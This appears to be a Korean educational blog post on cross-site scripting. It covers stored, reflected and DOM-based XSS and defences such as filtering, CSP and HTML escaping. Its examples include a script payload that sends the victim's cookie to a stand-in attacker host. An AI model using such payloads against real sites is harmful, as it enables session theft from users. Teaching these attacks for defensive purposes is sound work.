- Published on
XSS - Cross Site Scripting
Concept
XSS는 Cross-Site-Scripting의 준말로, Web, 특히 클라이언트 측에서 발생할 수 있는 취약점이다.
클라이언트는 서버에 원하는 웹 페이지를 요청하고, 서버는 클라이언트가 요청한 페이지 정보를 전송한다.
클라이언트는 '브라우저'라고 불리는 프로그램을 이용해 서버가 보낸 페이지를 해석하고, 이를 정해진 규칙에 맞게 출력한다.
서버가 보낸 페이지는 HTML, JS, CSS 등의 구성 요소로 이루어져 있다.
- HTML : 페이지 자체를 구성하는 요소
- JS(JavaScript) : 페이지의 동작을 정의하는 요소
- CSS : 페이지의 디자인을 정의하는 요소
간단하게 설명하자면 위와 같다.
서버로부터 수신한 HTML/JS/CSS와 같은 요소들을 브라우저가 해석을 하여 사용자에게 친화적인 화면을 구성해주는 것이다.
XSS는 이러한 서버로부터 수령한 데이터를 신뢰한다는 점을 이용하는 취약점이다.
어떤 유저가 입력한 데이터를 그대로 저장하고, 요청시 보내주는 서버가 있다고 하자.
1. 악성 유저가 개인정보(세션, 쿠키 등)를 탈취할 수 있는 코드를 서버에 저장한다. 이때, 코드들은 HTML이나 Javascript처럼 생긴 값을 넣는다.
2. 저장된 해당 페이지를 악성 코드가 있는지 모르고 요청한 다른 유저가 페이지를 로드한다.
3. 페이지를 로드하는 순간, 악성 유저가 저장해놓은 코드를 선량한 유저의 브라우저가 서버가 보낸 의도된 코드로 착각하고 실행시킨다.
4. 악성 코드가 실행되며 선량한 유저의 정보를 탈취한다. (혹은 다른 공격으로 연계한다.)
이렇듯 서버에서 보내는 코드들이 모두 의도된 것이라고 착각한 브라우저로 인해 발생하는 취약점이 XSS이다.
다음과 같은 코드들이 공격 코드가 된다.
<script>location.href="https://attacker.com"</script>
위와 같은 코드는 페이지를 로드할 시 http://attacker.com으로 페이지를 변경한다.
<script>location.href="https://attacker.com/?cookie="+document.cookie</script>
만약 위와 같은 코드가 실행되면, 공격자의 페이지에 쿠키값을 전송하게 된다.
보통 세션은 쿠키를 통해 유지되기 때문에, 쿠키를 탈취당할 시 로그인 정보(세션)을 탈취당할 수 있다.
XSS는 그 활용성 때문에 CSRF, SSRF, DOM Clobbering 등 다른 공격들과 함께 사용되는 경우도 많다.
XSS는 공격 코드를 전달하는 방법에 따라 종류가 제법 나뉘는데, 한 번 알아보자.
XSS의 종류
Stored XSS
글을 작성하는 포스트 기능 등, 유저가 작성한 데이터가 서버 측에 저장되는 웹 앱에서 발생하게 되는 XSS이다. 위와 같은 <script> tag 등의 공격 벡터를 서버 측에 업로드한다.
해당 페이지에 접속을 시도한 피해자들은 공격 코드를 로드하게 되고, 공격 코드가 실행되며 공격이 실행된다.
즉, 공격자는 웹 앱에서 제공하는 서비스 등을 이용하여 공격 코드를 업로드하고, 피해자가 해당 공격 코드가 저장된 페이지를 로드하도록 유도하여 XSS를 트리거할 수 있다.
Reflected XSS
검색 기능 등 유저의 입력을 동적으로 로딩하는 페이지에서 주로 발생한다.
파라미터를 그대로 페이지로 서버가 응답에 포함시켜 브라우저에 데이터를 보낼 때 발생한다.
악성 스크립트가 (파라미터로 포함된) URL을 통해 다른 유저에게 전달되고, 이를 서버 요청하여 해당 파라미터(악성 스크립트)가 그대로 페이지로 전달이 되어 악성 스크립트가 실행된다.
예를 들자면, 검색어를 파라미터로 전달받는 사이트가 있다고 하자. 파라미터로 전달받은 검색어를 그대로 페이지에 로딩하는 경우는 흔하게 찾아볼 수 있다.
검색어를 그대로 페이지에 아무런 필터링 없이 내보낸다면, 검색어에 공격 벡터를 전달한다면 XSS가 발생할 수 있게 된다.
해당 공격이 가지는 강점은 URL 링크에 공격 코드를 추가할 수 있기 때문에, 피해자가 해당 URL을 클릭하는 것 만으로 XSS에 노출된다는 것이다.
DOM Based XSS
Document Object Model의 준말인 DOM을 다루는 상황이 있을 때에도 XSS가 발생할 수 있다.
DOM을 추가하거나 수정하는 등의 동적인 행동을 진행하는 javascript에 공격 코드를 전달하거나 주입하는 식으로 공격이 진행된다.
주로 document.write([user input]), DOM.innerHTML = [user input] 와 같은 식으로 유저의 입력을 처리하는 js 코드가 클라이언트 측에서 존재할 때 발생한다.
유저의 입력을 받아들이는 방식에 따라 Stored XSS나 Reflected XSS와 같은 방식으로 나타날 수 있다.
XSS Countermeasures
이러한 XSS는 심각한 위협을 초래할 수 있기 때문에 이를 막기 위해 다양한 방법들이 존재한다.
입력값 문자열 필터링
가장 쉽고 직관적인 방법으로, 유저의 request로 입력 받은 값에 공격 코드가 있는지, 이로 인해 생기는 repsonse에 공격 코드가 있는지를 필터링 한 후 client side로 response를 보내는 것이다.
위와 같은 공격 코드의 예시에서는 <script> 태그 등을 탐지하여 응답을 수정하거나 에러 응답을 보내는 등의 방법을 예로 들 수 있다.
다만 유저의 입력값이 공격을 위한 것인지 혹은 실제 기능 사용을 위한 것인지 분류하기 어렵다는 점과, 공격 코드를 일일히 필터에 등록해야 하는 번거로움 등의 단점이 있다.
DOMPurify 혹은 html-sanitizer등의 라이브러리를 이용하여 쉽게 입력을 sanitize할 수 있다.
CSP(Content Security Policy)
XSS의 발생 원인인 브라우저가 공격자가 업로드 했을 수도 있는 서버 측의 콘텐츠를 신뢰한다는 점을 보완하기 위해 고안된 기술이다.
CSP는 서버 측에서 지정하는 것으로, 주로 HTTP 헤더에 추가되어 보내진다.
브라우저에서 실행할 스크립트의 유효한 도메인을 (서버가 의도했던 부분에서만 스크립트가 실행되도록) 지정해서 XSS가 발생할 수 있는 부분을 크게 줄일 수 있다.
CSP에서 지정된, 허용된 도메인에서 로드된 스크립트만 실행하기 때문에 그 외의 방법으로 전달되는 스크립트는 자동으로 무시하게 된다.
CSP는 다음과 같은 형태로 구성된다.
Content-Security-Policy: default-src 'self'
위와 같이 지정할 시, 모든 컨텐츠가 사이트 자체의 출처에서만 오도록 제한한다.
script-src, img-src 등을 일일히 지정하여 구체적으로 설정할 수 있다.
HTML Escape
XSS의 근본적인 발생 원인은 유저가 전달한 HTML 코드를 브라우저가 그대로 서버측의 코드로 착각하고 실행한다는 데에 있다.
따라서 유저의 입력으로 받아들이는 XSS가 발생 가능한 기호들을 escape하여 브라우저 측에서 HTML 코드로 인식하지 않게끔 하는 방법이 있다.
예시로는 XSS에서 가장 흔하게 쓰이는 기호인 <와 >는 각각 <와 >로 escape할 수 있다.